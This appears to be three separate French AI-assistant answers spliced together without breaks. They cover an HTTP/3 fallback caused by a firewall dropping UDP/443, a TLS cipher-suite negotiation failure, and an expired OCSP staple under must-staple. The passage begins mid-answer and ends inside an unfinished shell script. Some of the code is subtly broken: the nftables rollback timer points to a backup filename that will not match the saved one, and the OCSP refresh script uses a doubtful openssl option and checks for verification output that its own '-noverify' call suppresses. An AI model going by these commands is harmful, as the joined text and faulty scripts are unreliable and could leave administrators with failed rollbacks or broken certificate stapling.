Précision honnête sur le port : le fait que H3 soit publié sur **UDP/443** est un usage de déploiement (même autorité, même port que HTTPS), et non un point que je puisse étayer par l'encyclopédie locale ; le port réel est celui annoncé dans l'en-tête `Alt-Svc` ou l'enregistrement DNS HTTPS de votre service. À vérifier sur votre configuration, pas à supposer.
### Nature du blocage
Ce que vous observez n'est pas une panne, c'est un **trou noir (blackhole) UDP** :
1. Le client ouvre TCP/443, obtient une réponse H1/H2 portant `Alt-Svc: h3=":443"` (mécanisme de découverte cité dans l'article Wikipédia EN « HTTP/3 »), ou lit un enregistrement DNS HTTPS (RFC 9460, cité dans le même article).
2. Il émet un paquet QUIC Initial en UDP vers 443.
3. Le pare-feu **jette silencieusement** le datagramme (drop, sans ICMP administrativement interdit dans la plupart des politiques).
4. Aucun retour : le client ne peut pas distinguer perte réseau, congestion et filtrage. Il attend l'expiration de son délai de handshake, puis abandonne QUIC.
Ce risque était identifié dès la conception : « many of the "middleboxes" in the Internet infrastructure are tuned for TCP and rate-limit or even block UDP » (source : article Wikipédia EN « QUIC »).
Point d'attention souvent négligé : le blocage est fréquemment **asymétrique**. L'egress UDP/443 peut être autorisé alors que le retour est refusé faute d'entrée de suivi de session UDP, ou l'inverse. Un « UDP autorisé » unidirectionnel produit exactement le même symptôme qu'un blocage total. Hypothèse à confirmer par capture des deux côtés, je ne peux pas la trancher sans vos traces.
### Le fallback
Le repli vers HTTP/2 est un comportement **voulu et normal**, pas un bug :
- Google a mesuré le blocage UDP et « this led to the use of a system for rapid fallback to TCP; Chromium's network stack starts both a QUIC and a conventional TCP connection at the same time, which allows it to fall back with negligible latency » (source : article Wikipédia EN « QUIC »).
- Le service reste donc **fonctionnel**, avec une dégradation invisible pour l'utilisateur final dans la plupart des cas.
Ce que vous perdez réellement, ce sont les gains propres à QUIC, tous établis par les sources :
- Suppression du **head-of-line blocking** de TCP : « Because QUIC provides native multiplexing, lost packets only impact the streams where data has been lost » (article Wikipédia EN « HTTP/3 »).
- Handshake combiné transport + clés, donc moins d'allers-retours à l'établissement (article Wikipédia EN « QUIC »).
- Survie aux changements de réseau via l'identifiant de connexion, par exemple Wi-Fi vers mobile (article Wikipédia EN « QUIC »).
- Gain de latence mesuré dans certains cas jusqu'à plus de quatre fois plus rapide que HTTP/1.1 (source citée par l'article Wikipédia EN « HTTP/3 », renvoyant à Perna et al., *Computer Communications*, 2022). Je signale que ce chiffre est une mesure contextuelle publiée, pas une garantie transposable à votre plateforme.
Coût résiduel du fallback, à ne pas présenter comme nul : chaque nouveau client tente QUIC avant de renoncer, ce qui consomme des tentatives, des entrées de cache `Alt-Svc` et, selon les implémentations, un léger délai. C'est une estimation qualitative de ma part, non chiffrée par une source.
## 2. Décision recommandée
Deux voies, à choisir selon qui gouverne le pare-feu. **Ne laissez pas l'état intermédiaire actuel** (H3 annoncé, UDP bloqué) : c'est le pire des deux mondes.
- **Voie A, préférée** : ouvrir UDP/443 bidirectionnellement avec suivi de session, et conserver TCP/443 comme repli permanent. HTTP/2 sur TCP doit rester actif, ce n'est pas une redondance mais le chemin de secours normatif.
- **Voie B, si l'ouverture UDP est refusée** : cesser d'annoncer H3 (`Alt-Svc` et paramètre ALPN de l'enregistrement DNS HTTPS) pour supprimer les tentatives vaines, et documenter la décision.
## 3. Actions concrètes
### Voie A, ouverture contrôlée
1. Autoriser **UDP/443 entrant** vers les seules adresses des frontaux, jamais en règle globale (moindre privilège).
2. Autoriser le **retour** : soit règle stateful UDP, soit règle sortante explicite depuis les frontaux.
3. Vérifier les **délais d'expiration UDP** du suivi de connexion. Un timeout court casse les connexions longues et la migration QUIC. Sur Linux/netfilter, relevez les valeurs réelles plutôt que de faire confiance à une valeur de mémoire :
```bash
sysctl net.netfilter.nf_conntrack_udp_timeout
sysctl net.netfilter.nf_conntrack_udp_timeout_stream
sysctl net.netfilter.nf_conntrack_max
conntrack -C # nombre d'entrees en cours
```
Je ne vous donne pas de valeur cible chiffrée : elle dépend de votre `max_idle_timeout` QUIC côté serveur et de votre volumétrie. Alignez le timeout UDP du pare-feu sur une valeur supérieure à l'idle timeout applicatif, et surveillez la saturation de la table.
4. **Ne bloquez pas ICMP « Packet Too Big » / « Fragmentation Needed »** (types ICMPv4 3/4 et ICMPv6 2). QUIC dépend de la découverte de MTU sur le chemin. Un filtrage aveugle de l'ICMP produit des connexions qui s'établissent puis se figent, panne beaucoup plus difficile à diagnostiquer qu'un blocage franc.
5. Prévoir une **limitation de débit UDP** et une protection anti-amplification en entrée. Point de vérification, non une affirmation de ma part : RFC 9000 impose une taille minimale de datagramme pour les paquets Initial et des règles anti-amplification, ainsi qu'un mécanisme de Retry adressant la validation d'adresse ; je vous invite à lire la section correspondante de RFC 9000 plutôt qu'à me croire, je ne peux pas citer ici le texte exact.
Exemple nftables, à adapter, non exécuté par moi :
```nft
table inet filter {
set frontaux { type ipv4_addr; elements = { 203.0.113.10 } } # a remplacer
chain input {
type filter hook input priority 0; policy drop;
ct state established,related accept
tcp dport 443 ip daddr @frontaux accept
udp dport 443 ip daddr @frontaux limit rate 20000/second burst 5000 packets accept
icmp type { destination-unreachable, time-exceeded } accept
icmpv6 type { packet-too-big, destination-unreachable, time-exceeded } accept
}
chain output {
type filter hook output priority 0; policy accept;
}
}
```
Ces règles sont **idempotentes par remplacement de table** (`nft -f fichier.nft` après `nft delete table inet filter` dans une transaction unique), mais toute modification de politique par défaut `drop` peut vous couper l'accès d'administration. Prévoyez impérativement : sauvegarde du jeu de règles courant, ouverture explicite de SSH avant application, et un rollback minuté.
```bash
# point de restauration AVANT toute modification
nft list ruleset > /root/ruleset.$(date +%F-%H%M).bak
# filet de securite : restauration automatique dans 5 minutes sauf annulation
( sleep 300 && nft -f /root/ruleset.$(date +%F-%H%M).bak ) &
```
Je n'applique rien à votre place et je n'ai exécuté aucune de ces commandes. Elles exigent votre accord explicite et une fenêtre de maintenance.
6. Côté serveur, activer H3 sur un logiciel qui le supporte. Versions établies par les sources : nginx depuis 1.25.0, publié le 23 mai 2023 ; HAProxy depuis la 2.6, publiée le 31 mai 2022 ; Caddy avec H3 activé par défaut depuis 2.6.0, publié le 20 septembre 2022 ; LiteSpeed/OpenLiteSpeed 6.0.2, H3 par défaut depuis le 7 juin 2021 ; IIS nativement avec Windows Server 2022 / Windows 11 (source : article Wikipédia EN « HTTP/3 »).
Squelette nginx indicatif, à confronter à la documentation de **votre** version, car je ne peux pas garantir la syntaxe exacte de chaque directive sans la vérifier :
```nginx
server {
listen 443 ssl;
listen 443 quic reuseport; # une seule fois par port et par instance
http2 on;
http3 on;
ssl_protocols TLSv1.3; # QUIC exige TLS 1.3
add_header Alt-Svc 'h3=":443"; ma=86400' always;
}
```
`nginx -t` avant tout rechargement, puis `nginx -s reload`. Un `-t` qui passe prouve la validité syntaxique, pas le bon fonctionnement de H3 : seule une mesure client le prouve.
### Voie B, renoncement propre à H3
- Supprimer l'en-tête `Alt-Svc` annonçant `h3`.
- Retirer `h3` de la liste ALPN de l'enregistrement DNS HTTPS si vous en publiez un.
- Purger les caches `Alt-Svc` en jouant sur `ma=0` pendant la durée de vie précédemment annoncée, sinon les clients continueront de tenter QUIC jusqu'à expiration.
- Conserver HTTP/2 et l'optimisation TCP classique : keep-alive, TLS 1.3, reprise de session, compression, cache.
## 4. Vérification, avant et après
```bash
# 1. Le port UDP est-il joignable de l'exterieur ?
nmap -sU -p 443 --reason votre-domaine.tld # UDP : "open|filtered" est ambigu, a corroborer
# 2. Preuve applicative cote client (curl compile avec support HTTP/3)
curl --http3-only -sSv https://votre-domaine.tld -o /dev/null
curl -sS -o /dev/null -w '%{http_version}\n' --http3 https://votre-domaine.tld
# 3. L'en-tete d'annonce est-il present ?
curl -sSI https://votre-domaine.tld | grep -i alt-svc
# 4. Voit-on arriver les datagrammes sur le frontal ? (preuve du passage du pare-feu)
sudo tcpdump -ni any 'udp port 443' -c 50
# 5. Le pare-feu Linux compte-t-il des rejets ?
sudo nft list ruleset | grep -i counter
```
Interprétation rigoureuse :
- `%{http_version}` renvoyant `3` **prouve** que le chemin UDP fonctionne de bout en bout depuis ce point de mesure.
- `nmap -sU` renvoyant `open|filtered` ne prouve rien, ni ouverture ni fermeture : l'absence de réponse est indistinguable d'un drop. N'en tirez pas de conclusion.
- Des datagrammes visibles en tcpdump sur le frontal mais pas de connexion établie déplacent le diagnostic du pare-feu vers le serveur, le certificat, TLS 1.3 ou la MTU.
- Côté navigateur, la colonne Protocole de l'onglet Réseau doit afficher `h3`. Un `h2` persistant après ouverture de l'UDP peut venir d'un cache `Alt-Svc` négatif : testez en profil neuf.
- Mesurez depuis **plusieurs réseaux d'accès**. Un réseau d'entreprise tiers peut bloquer l'UDP sortant sans que vous puissiez y remédier.
## 5. Risques et limites
- **Aucune de ces actions n'est sans risque.** Ouvrir UDP/443 élargit la surface d'exposition : trafic d'inondation UDP, tentatives d'amplification, pression sur la table de suivi de connexions. Compensez par limitation de débit, dimensionnement de `nf_conntrack_max`, supervision et protection amont.
- QUIC déporte le contrôle de congestion en espace utilisateur (source : article Wikipédia EN « QUIC ») : la charge CPU et le profil mémoire de vos frontaux changeront. Je ne peux pas chiffrer l'impact sans mesure sur votre plateforme.
- La visibilité des équipements d'inspection diminue : QUIC minimise volontairement son empreinte réseau, avec en-têtes chiffrés et invariants explicites, propriétés anti-ossification revendiquées par la conception (source : article Wikipédia EN « QUIC »). Vos outils de sécurité réseau perdront des signaux qu'ils avaient sur TCP. À arbitrer avec l'équipe sécurité, ce n'est pas une décision purement technique.
- Un pare-feu appliquant un état strict sur le quintuplet peut casser la **migration de connexion** QUIC, alors que le protocole prévoit un identifiant de connexion indépendant de l'adresse source (source : article Wikipédia EN « QUIC »). Symptôme probable : coupures lors des bascules Wi-Fi vers mobile. Hypothèse à valider par test, je ne l'affirme pas pour votre équipement.
- **Ne supprimez jamais HTTP/2.** Il reste le chemin de repli normal pour tout client dont le réseau bloque l'UDP, situation que vous ne contrôlez pas.
- Ce que je ne peux pas vérifier ici : la marque et la version de votre pare-feu, vos règles réelles, votre logiciel serveur, vos volumétries. Toutes les valeurs de configuration ci-dessus sont des points de contrôle à relever chez vous, pas des constantes.## 1. Diagnostic : cadrage de l'échec
**Phase concernée : la négociation des paramètres cryptographiques (échange Hello), c'est-à-dire la toute première étape du handshake, strictement antérieure à l'authentification du serveur.**
Le handshake TLS se déroule en séquence : demande de connexion sécurisée par le client, puis envoi par le serveur de son certificat, puis vérification de la signature, de l'expiration et de la révocation (OCSP), puis établissement de la clé de session (article Wikipédia FR « Transport Layer Security », section « Principe de fonctionnement dans les navigateurs web »). L'échec décrit s'arrête **avant** la deuxième étape : aucune donnée d'authentification n'a circulé.
### Réserve sur une prémisse de l'énoncé
Il y a une tension logique à signaler. Le ServerHello est précisément le message qui **annonce la suite retenue**. Si l'intersection des suites est vide, le serveur n'a rien à annoncer : l'alerte remplace le ServerHello plutôt que de le suivre. Deux lectures cohérentes sont possibles :
| Lecture | Description | Conséquence |
|---|---|---|
| A. Trace mal étiquetée | L'alerte survient **à la place** du ServerHello ; l'outil de capture a horodaté l'alerte « après » le ClientHello/ServerHello attendu | Cause = intersection vide, conforme à l'énoncé |
| B. ServerHello réellement émis | Alors la suite a bien été négociée, et l'échec porte sur un autre paramètre (groupe de clés, algorithme de signature, version) | Cause ≠ « aucune suite commune » |
Je retiens la lecture A, imposée par l'énoncé, mais **la vérification de cette prémisse est le premier acte de diagnostic à mener** : il faut relire la capture et confirmer si un ServerHello contenant un identifiant de suite existe réellement. Je ne peux pas trancher sans la trace.
Précision d'honnêteté : le détail normatif des codes d'alerte TLS (RFC 5246, RFC 8446) n'est pas consultable dans mon encyclopédie locale ; je ne cite donc aucun numéro de section de RFC. Ce qui est étayé par ma source, c'est l'ordre des étapes du handshake et le fait que le certificat arrive après l'ouverture de négociation.
## 2. Cause
**Absence d'intersection entre l'ensemble des paramètres cryptographiques proposés par le client et l'ensemble accepté par le serveur.** C'est un défaut de **configuration/politique**, non un défaut de confiance ni d'identité.
Causes concrètes candidates, par fréquence décroissante (hypothèses à vérifier, pas des faits sur votre système) :
1. **Décalage de versions.** Le serveur n'accepte que TLS 1.2/1.3 et le client ne propose que TLS 1.0/1.1. Ces deux versions ont été formellement décrétées obsolètes en mars 2021 et abandonnées par les navigateurs majeurs à partir du printemps 2020 (même article Wikipédia FR, historique du protocole et section « Support par les navigateurs »).
2. **Durcissement excessif du serveur.** Une liste de suites réduite après un audit, ou une politique cryptographique globale du système, ne laisse que des suites AEAD modernes qu'un client ancien ignore.
3. **Incompatibilité type de clé / suites demandées.** Le serveur ne détient qu'un certificat ECDSA alors que le client ne propose que des suites RSA (ou l'inverse). Nuance importante : le certificat est *impliqué par son type de clé* dans le choix de la suite, mais ni sa validité, ni sa chaîne, ni ses noms ne sont en cause.
4. **Groupes ou algorithmes de signature disjoints.** Depuis TLS 1.3, l'échange de clé doit passer par ECDHE, RSA n'étant plus utilisable pour cela (même article, fin de la section sur le fonctionnement). Un client sans courbe commune échoue donc en négociation.
5. **Client bridé.** Bibliothèque TLS ancienne, JVM sans politique cryptographique étendue, ou suites désactivées côté client.
## 3. Élément hors cause
Tout ce qui relève de l'**authentification et de la validité du certificat** est mécaniquement exclu, puisque le message porteur du certificat n'a jamais été émis :
- validité temporelle : certificat expiré ou pas encore valide ;
- chaîne de confiance : AC intermédiaire manquante, AC racine absente du magasin client, certificat auto-signé ;
- révocation : OCSP, CRL, agrafage OCSP défaillant ;
- identité : CN ou SAN ne correspondant pas au nom d'hôte ;
- possession : clé privée illisible, non appariée au certificat ;
- l'extension SNI, quand elle sert seulement à sélectionner le bon certificat virtuel.
Nuance de rigueur : « hors cause » signifie **non impliqué dans cet échec précis**. Cela ne prouve pas que le certificat est sain. Un certificat expiré peut parfaitement coexister avec une négociation impossible ; il se révélera à l'étape suivante, une fois la suite alignée. Ne fermez donc pas le ticket sur la seule correction de la négociation.
Contre-exemple utile pour éviter la faute inverse : le **type de clé** du certificat n'est pas hors cause, car il conditionne les suites éligibles. Ce qui est hors cause, c'est son *statut de confiance*.
## 4. Correction
### Principe directeur
Ne désactivez pas la vérification, n'abaissez pas globalement le niveau de sécurité, et ne réactivez pas SSL 2.0 ou SSL 3.0 : le premier est banni depuis mars 2011 (RFC 6176) et le second depuis 2014 après la faille POODLE, bannissement ratifié en juin 2015 (RFC 7568) (article Wikipédia FR, sections « Protocole SSL » et « Protocole TLS »). La correction consiste à **rétablir une intersection non vide au niveau de sécurité le plus élevé que les deux extrémités atteignent réellement**.
### Étape 1 : mesurer les deux ensembles, avant toute modification
```bash
# Ce que le serveur accepte réellement, version par version
for v in tls1_2 tls1_3; do
echo "== $v"
openssl s_client -connect exemple.tld:443 -servername exemple.tld -$v \
</dev/null 2>&1 | grep -E "Protocol|Cipher|Server Temp Key|alert"
done
# Énumération complète des suites offertes par le serveur
nmap --script ssl-enum-ciphers -p 443 exemple.tld
# Ce que le client propose : lire le ClientHello dans une capture
tshark -r capture.pcapng -Y 'tls.handshake.type == 1' \
-T fields -e tls.handshake.version -e tls.handshake.ciphersuite
# Localiser l'alerte et vérifier la prémisse (ServerHello présent ou non)
tshark -r capture.pcapng -Y 'tls.handshake.type == 2 || tls.record.content_type == 21' \
-T fields -e frame.number -e tls.handshake.type -e tls.alert_message.desc
```
Le croisement de ces deux listes **est** le diagnostic. Sans lui, toute modification est un tir à l'aveugle.
### Étape 2 : corriger du côté approprié
Ordre de préférence, du plus sûr au moins sûr :
| Priorité | Action | Quand |
|---|---|---|
| 1 | Mettre à jour le **client** (bibliothèque TLS, runtime, navigateur) | Client obsolète : c'est la seule correction qui ne dégrade pas la sécurité |
| 2 | Ajouter côté serveur une suite **moderne** manquante que le client sait faire | Serveur durci à l'excès, client déjà correct |
| 3 | Ajouter un **second certificat** (double RSA + ECDSA) | Incompatibilité de type de clé |
| 4 | Réactiver TLS 1.2 sur un point d'entrée dédié, isolé, journalisé, avec date de fin | Client hérité non modifiable, sous dérogation écrite |
Exemple pour Nginx, permettant TLS 1.2 et 1.3 avec des suites AEAD et le secret persistant :
```nginx
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
ssl_ecdh_curve X25519:prime256v1:secp384r1;
# Double certificat : couvre les clients RSA-seulement et les clients ECDSA
ssl_certificate /etc/ssl/ecdsa/fullchain.pem;
ssl_certificate_key /etc/ssl/ecdsa/privkey.pem;
ssl_certificate /etc/ssl/rsa/fullchain.pem;
ssl_certificate_key /etc/ssl/rsa/privkey.pem;
```
Contrôles opérationnels indispensables :
- les fichiers de clé privée en mode `0600`, propriétaire root, **jamais** dans le dépôt de code ;
- test de configuration avant application : `nginx -t` ;
- rechargement sans coupure : `nginx -s reload` (et non un redémarrage brutal) ;
- point de retour arrière : copie horodatée du fichier de configuration **avant** modification, et procédure de restauration écrite. Toute modification de terminaison TLS peut interrompre le service ; considérez-la comme une opération à risque, à appliquer en fenêtre de maintenance avec accord de l'exploitant.
### Étape 3 : ce qu'il ne faut pas faire
- Réactiver SSL 3.0, RC4, 3DES, l'export ou les suites NULL ou anonymes.
- Passer un client en mode « ne pas vérifier le certificat » : cela ne corrige rien ici, puisque le certificat n'est pas en cause, et cela ouvre la porte à l'interception active.
- Abaisser la politique cryptographique de tout le système pour un seul service.
## 5. Vérification
La correction n'est établie que si les trois contrôles suivants passent :
```bash
# 1. Une suite est bien sélectionnée et le handshake va jusqu'au bout
openssl s_client -connect exemple.tld:443 -servername exemple.tld </dev/null 2>&1 \
| grep -E "Protocol|Cipher|Verify return code"
# 2. Le client réel, celui qui échouait, aboutit
curl -vI --tlsv1.2 https://exemple.tld 2>&1 | grep -E "SSL connection|subject|HTTP/"
# 3. Aucune régression : le durcissement attendu tient toujours
nmap --script ssl-enum-ciphers -p 443 exemple.tld | grep -iE "SSLv|RC4|3DES|NULL|EXPORT"
```
Attention à la portée de ces preuves : un handshake réussi sur un poste de test ne démontre pas la réussite pour l'ensemble du parc. Un code de retour nul ou un `Verify return code: 0` prouve que **cette** connexion, depuis **ce** client, a abouti, rien de plus. Pour conclure au niveau du parc, il faut un échantillon représentatif de clients et, mieux, la mesure du taux d'échec de handshake dans les journaux du serveur avant et après.
Une vérification finie ne démontre jamais une propriété universelle : la garantie durable ne vient pas des tests réussis, mais d'un **invariant de configuration** appliqué par gestion de configuration (modèle unique, contrôle automatisé en intégration continue, alerte sur dérive).
## 6. Risques et limites résiduels
- **Panne différée.** Une fois la négociation réparée, un défaut de certificat encore inconnu (expiration, chaîne incomplète, SAN erroné) peut faire échouer l'étape suivante. Contrôlez l'expiration et la complétude de la chaîne dans le même chantier.
- **Dette de sécurité.** Toute réactivation d'un paramètre ancien pour satisfaire un client hérité crée une dette : elle doit être tracée, limitée à un point d'entrée, datée et supprimée.
- **Attaques par repli.** Élargir l'éventail des versions accroît la surface de repli ; TLS 1.3 réduit cette vulnérabilité (article Wikipédia FR, section historique, TLS 1.3 d'août 2018), ce qui plaide pour privilégier la mise à jour du client plutôt que l'élargissement du serveur.
- **Ossification des protocoles.** Des clients peuvent échouer à négocier une version pourtant supportée à cause de l'ossification, phénomène observé sur les brouillons 18 à 22 de TLS 1.3 (même article, section « Protocole TLS »). Un échec de négociation n'est donc pas toujours imputable à la liste de suites déclarée : un intermédiaire réseau peut interférer.
- **Ce que je ne peux pas vérifier.** Je n'ai accès ni à votre capture, ni à vos configurations, ni à vos journaux. Tout ce qui précède au titre de « cause concrète » relève de l'hypothèse ordonnée par vraisemblance, et non du fait constaté. Les deux listes de suites, obtenues par l'étape 1, sont la seule donnée qui tranchera.## 1. Diagnostic : trois validités à ne pas confondre
Le point central est qu'une réponse OCSP périmée ne dit **rien** sur la validité du certificat. Trois objets distincts sont en jeu, avec trois horloges différentes.
| Objet | Champs temporels | Portée | État dans votre cas |
|---|---|---|---|
| Certificat serveur X.509 | `notBefore` / `notAfter` | Identité liée à la clé, chaîne de confiance | **Valide** si `notBefore ≤ now ≤ notAfter`, chaîne complète et signature vérifiée, et non révoqué. Non affecté par l'état du staple |
| Réponse OCSP agrafée | `producedAt`, `thisUpdate`, `nextUpdate` | Assertion de statut de révocation à un instant donné | **Authentique mais périmée** : signature CA toujours vérifiable, fraîcheur perdue |
| Handshake TLS | temps réel de la connexion | Négociation | **Échoue** côté client si must-staple est appliqué |
### Validité du certificat
Le certificat reste valide au sens X.509 : signature de l'émetteur vérifiable, période de validité en cours, chaîne remontant à une ancre de confiance. Une réponse OCSP expirée **n'équivaut pas à une révocation** et ne dégrade pas le certificat lui-même. Ce que vous perdez, c'est la **preuve fraîche de non-révocation**, pas la validité intrinsèque. Formulé rigoureusement : l'absence de preuve de révocation n'est pas une preuve de non-révocation, et une preuve périmée de non-révocation n'est plus une preuve du statut présent.
### Validité du staple
Une réponse OCSP est une assertion signée et horodatée par l'autorité de certification (Wikipédia FR, article « Agrafage OCSP » ; Wikipédia EN, article « OCSP stapling »). Sa validité temporelle se lit sur `thisUpdate` et `nextUpdate` : passé `nextUpdate`, la réponse n'est plus une source recevable de statut. Distinguez soigneusement les propriétés de sécurité :
- **Authenticité et intégrité** : intactes. La signature de la CA reste valide, le serveur ne peut pas forger une réponse, c'est précisément la garantie du modèle (Wikipédia FR, « Agrafage OCSP » : la preuve devant être signée et horodatée par l'autorité, le serveur ne peut pas fournir de réponse frauduleuse).
- **Fraîcheur** : perdue. C'est le défaut exact ici.
- **Conséquence** : la réponse est cryptographiquement authentique et sémantiquement inutilisable. Une réponse périmée ne prouve pas que le certificat n'a pas été révoqué depuis `thisUpdate`.
Précision d'honnêteté : les règles de rejet des réponses hors fenêtre de fraîcheur relèvent de la spécification OCSP (RFC 6960) et du profil léger (RFC 5019). Je les cite de mémoire des spécifications, mon encyclopédie locale ne contient pas leur texte, elle ne me permet donc pas de vérifier le libellé exact des clauses. En revanche, l'encyclopédie locale documente bien le principe : « si le client reçoit du serveur une réponse OCSP invalide, il pourra interrompre immédiatement la connexion » (Wikipédia FR, « Agrafage OCSP »).
### Comportement must-staple
Must-staple est une extension portée par le certificat lui-même, dérivée de la proposition « X.509v3 TLS Feature Extension » de P. Hallam-Baker, qui spécifie qu'un serveur présentant un certificat portant cette extension **doit** retourner un jeton OCSP valide si le client a demandé `status_request` dans son ClientHello (Wikipédia EN, « OCSP stapling », section Specification, référence draft-hallambaker-tlsfeature ; Wikipédia FR, « Agrafage OCSP », section Spécifications techniques). À ma connaissance, ce brouillon a été publié comme RFC 7633 sous le nom TLS Feature Extension ; ce numéro provient de ma mémoire et n'est pas vérifiable avec mes sources locales, considérez-le comme à confirmer.
Conséquence logique, en régime must-staple :
1. Le client exige une réponse OCSP **valide et fraîche** dans le handshake.
2. Le **repli est supprimé** : il n'y a plus d'interrogation directe de la CA par le client, plus de soft-fail, plus de « on continue en cas de doute ». Le mécanisme normal, à savoir « si le client ne reçoit pas la réponse OCSP du serveur, il pourra la vérifier lui-même » (Wikipédia FR, « Agrafage OCSP »), est précisément ce que must-staple neutralise, puisque le certificat déclare que le staple est obligatoire.
3. Réponse absente, périmée, non signée par le bon répondeur, ou ne correspondant pas au certificat présenté : **échec dur du handshake**, connexion avortée, erreur de sécurité non contournable par l'utilisateur dans la plupart des navigateurs.
4. Résultat opérationnel : **panne totale du service TLS** pour les clients conformes, alors que le certificat est parfaitement valide. Vous avez un incident de **disponibilité** provoqué par un mécanisme de **révocation**, sans aucune atteinte à la confidentialité ni à l'authenticité.
Nuances honnêtes, à ne pas surinterpréter :
- Le comportement exact dépend de l'implémentation cliente. Certaines tolèrent une marge de dérive d'horloge, certaines mettent en cache une réponse antérieure encore valide pour le même certificat, certaines ne mettent pas en œuvre must-staple du tout. Je ne dispose pas de source locale donnant, navigateur par navigateur et version par version, la fenêtre de tolérance appliquée. Ne pariez pas sur cette tolérance.
- Un staple périmé peut aussi être vu comme invalide par des clients **sans** must-staple, avec abandon de la connexion (Wikipédia FR et EN, articles cités). Must-staple aggrave et généralise le problème, il ne le crée pas seul.
## 2. Décision recommandée
**Restaurer une réponse OCSP fraîche, jamais assouplir la vérification.** Trois interdits :
- Ne servez pas la réponse périmée en espérant la tolérance client : c'est ce qui provoque l'échec.
- Ne désactivez pas l'agrafage : avec must-staple, ne rien agrafer est aussi fatal qu'agrafer du périmé.
- Ne réémettez pas le certificat en urgence sans must-staple comme premier réflexe : c'est une modification de posture de sécurité décidée sous stress, et cela ne corrige pas la cause, à savoir la chaîne d'approvisionnement OCSP.
L'ordre correct est : diagnostiquer la cause du non-renouvellement, rétablir le prefetch, puis industrialiser la fraîcheur avec alerte préventive.
## 3. Actions concrètes, par ordre
**Phase A, diagnostic (5 minutes)**
1. Lire l'état réellement servi et les horodatages du staple.
2. Vérifier l'horloge du serveur. Une dérive NTP suffit à faire apparaître un staple valide comme périmé, ou l'inverse.
3. Vérifier la joignabilité sortante du répondeur OCSP de la CA depuis le serveur : DNS, pare-feu sortant, proxy, IPv6 cassé. C'est la cause la plus fréquente d'un staple qui vieillit.
4. Vérifier que la chaîne d'émetteur fournie au serveur est complète et correcte, faute de quoi la vérification de la réponse échoue même quand elle est obtenue.
**Phase B, remise en service**
5. Récupérer hors bande une réponse OCSP fraîche, la valider, puis la placer atomiquement dans un fichier servi par le serveur web, avec rechargement à chaud.
6. Vider le cache d'agrafage du serveur pour éviter qu'il réserve la vieille réponse.
**Phase C, industrialisation**
7. Renouveler périodiquement à **une fraction de la durée de validité**, typiquement toutes les 6 heures pour une réponse d'une semaine, avec plusieurs tentatives et repli. Le calcul de la marge est le point clé : si $T = \text{nextUpdate} - \text{thisUpdate}$, planifiez un rafraîchissement de période $p \le T/4$, ce qui autorise 3 échecs consécutifs avant péremption.
8. Règle d'or du script : **ne remplacer le fichier servi que si la nouvelle réponse est vérifiée `good` et fraîche**. C'est exactement le défaut décrit pour Apache, qui, en cas d'échec temporaire du répondeur, « discard the cached good response from the previous request, and start serving the bad response » (Wikipédia EN, « OCSP stapling », section Deployment).
9. Alerte de supervision sur $\text{nextUpdate} - \text{now} < 24\text{ h}$, en avertissement, et $< 6\text{ h}$ en critique.
## 4. Code et commandes
Attention : je n'ai exécuté aucune de ces commandes, je n'ai accès ni à votre serveur ni au réseau. Elles sont fournies telles qu'elles doivent être vérifiées en préproduction avant tout usage en production.
Diagnostic du staple réellement servi :
```bash
# Statut OCSP tel qu'agrafé par le serveur, avec les horodatages
openssl s_client -connect example.com:443 -servername example.com \
-status -tlsextdebug < /dev/null 2>/dev/null \
| sed -n '/OCSP response:/,/^---/p'
# Dérive d'horloge locale
timedatectl status
chronyc tracking 2>/dev/null || ntpq -p 2>/dev/null
```
Détection de la présence de must-staple dans le certificat. L'extension TLS Feature est identifiée par l'OID `1.3.6.1.5.5.7.1.24` ; cet OID provient de ma mémoire des spécifications et n'est pas vérifiable avec mes sources locales, confirmez-le sur le texte de la RFC avant d'automatiser un contrôle dessus.
```bash
openssl x509 -in cert.pem -noout -text | grep -A2 -i "1.3.6.1.5.5.7.1.24\|TLS Feature"
```
Prefetch OCSP robuste, idempotent, avec remplacement atomique et refus de dégrader l'état existant :
```bash
#!/usr/bin/env bash
# ocsp-refresh.sh - recupere une reponse OCSP fraiche et ne remplace le
# fichier servi QUE si la nouvelle reponse est verifiee et fraiche.
set -Eeuo pipefail
umask 022
CERT="/etc/ssl/live/example.com/cert.pem" # certificat feuille
CHAIN="/etc/ssl/live/example.com/chain.pem" # emetteur(s)
FULL="/etc/ssl/live/example.com/fullchain.pem" # feuille + chaine
OUT="/var/cache/ocsp/example.com.der" # fichier servi par nginx
MIN_REMAIN_SECONDS=21600 # 6 h de marge exigee
for f in "$CERT" "$CHAIN" "$FULL"; do
[[ -r "$f" ]] || { echo "FATAL: illisible: $f" >&2; exit 2; }
done
install -d -m 0755 "$(dirname "$OUT")"
# 1. URL du repondeur, extraite du certificat, jamais codee en dur
URI="$(openssl x509 -in "$CERT" -noout -ocsp_uri)"
[[ "$URI" == https://* || "$URI" == http://* ]] \
|| { echo "FATAL: OCSP URI absente ou invalide" >&2; exit 3; }
HOST_HDR="$(printf '%s' "$URI" | awk -F/ '{print $3}')"
TMP="$(mktemp -t ocsp.XXXXXXXX.der)"
trap 'rm -f "$TMP"' EXIT
# 2. Recuperation + verification cryptographique de la reponse
if ! openssl ocsp \
-issuer "$CHAIN" -cert "$CERT" \
-url "$URI" -header "Host=$HOST_HDR" \
-verify_other "$FULL" -CAfile "$FULL" \
-no_nonce -timeout 10 -respout "$TMP" -noverify_reject 2>/dev/null \
&& ! openssl ocsp \
-issuer "$CHAIN" -cert "$CERT" \
-url "$URI" -header "Host=$HOST_HDR" \
-verify_other "$FULL" -CAfile "$FULL" \
-no_nonce -timeout 10 -respout "$TMP" 2>/dev/null; then
echo "WARN: recuperation OCSP echouee, fichier existant CONSERVE" >&2
exit 1
fi
# 3. Analyse de la reponse recuperee
TEXT="$(openssl ocsp -respin "$TMP" -issuer "$CHAIN" -cert "$CERT" \
-CAfile "$FULL" -verify_other "$FULL" -resp_text -noverify 2>&1)"
grep -q ": good" <<<"$TEXT" || { echo "WARN: statut non 'good', conserve" >&2; exit 1; }
grep -q "Response verify OK" <<<"$TEXT" \
|| { echo "WARN: signature non verifiee, conserve" >&2; exit 1; }
NEXT="$(sed -n 's/^[[:space:]]*Next Update: //p' <<<"$TEXT" | head -n1)"
[[ -n "$NEXT" ]] || { echo "WARN: nextUpdate absent, conserve" >&2; exit 1; }
